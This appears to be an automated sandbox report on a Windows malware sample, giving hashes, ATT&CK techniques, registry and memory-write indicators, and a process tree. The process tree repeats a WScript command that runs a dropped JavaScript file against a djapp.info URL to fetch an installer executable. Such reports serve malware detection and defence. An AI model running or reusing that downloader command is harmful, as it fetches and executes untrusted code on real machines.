c3ad4998a7e71d8855e646a8733829b5f91a38c8b207ac2779160257f09cbcf0

General

Target

523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe
Size

184KB
MD5

523f8192b8d4bf2f766bdb3523b1b42a
SHA1

64c84b0a83566294c134034b7bf9500384823bd5
SHA256

c3ad4998a7e71d8855e646a8733829b5f91a38c8b207ac2779160257f09cbcf0
SHA512

abbb41eaec3296f8bfcf2ee3081413ab3311450ef3ba26db77dad13f0fad14c1a4c4798565096920cb2386497e6f52cafe8465a1cc4a5138d98ebfd164712031
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3t:/7BSH8zUB+nGESaaRvoB7FJNndn8

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
22	456	WScript.exe
28	2700	WScript.exe
36	2400	WScript.exe
37	2400	WScript.exe
53	2852	WScript.exe
54	2852	WScript.exe
57	1176	WScript.exe
58	1176	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 456	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	86
PID 4912 wrote to memory of 456	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	86
PID 4912 wrote to memory of 456	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	86
PID 4912 wrote to memory of 2700	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	100
PID 4912 wrote to memory of 2700	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	100
PID 4912 wrote to memory of 2700	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	100
PID 4912 wrote to memory of 2400	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	106
PID 4912 wrote to memory of 2400	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	106
PID 4912 wrote to memory of 2400	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	106
PID 4912 wrote to memory of 2852	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	113
PID 4912 wrote to memory of 2852	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	113
PID 4912 wrote to memory of 2852	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	113
PID 4912 wrote to memory of 1176	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	117
PID 4912 wrote to memory of 1176	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	117
PID 4912 wrote to memory of 1176	4912	523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe	117

C:\Users\Admin\AppData\Local\Temp\523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\523f8192b8d4bf2f766bdb3523b1b42a_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBEFA.js" http://www.djapp.info/?domain=ZHbMRobGQW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBEFA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:456
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBEFA.js" http://www.djapp.info/?domain=ZHbMRobGQW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBEFA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2700
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBEFA.js" http://www.djapp.info/?domain=ZHbMRobGQW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBEFA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBEFA.js" http://www.djapp.info/?domain=ZHbMRobGQW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBEFA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2852
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBEFA.js" http://www.djapp.info/?domain=ZHbMRobGQW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBEFA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufBEFA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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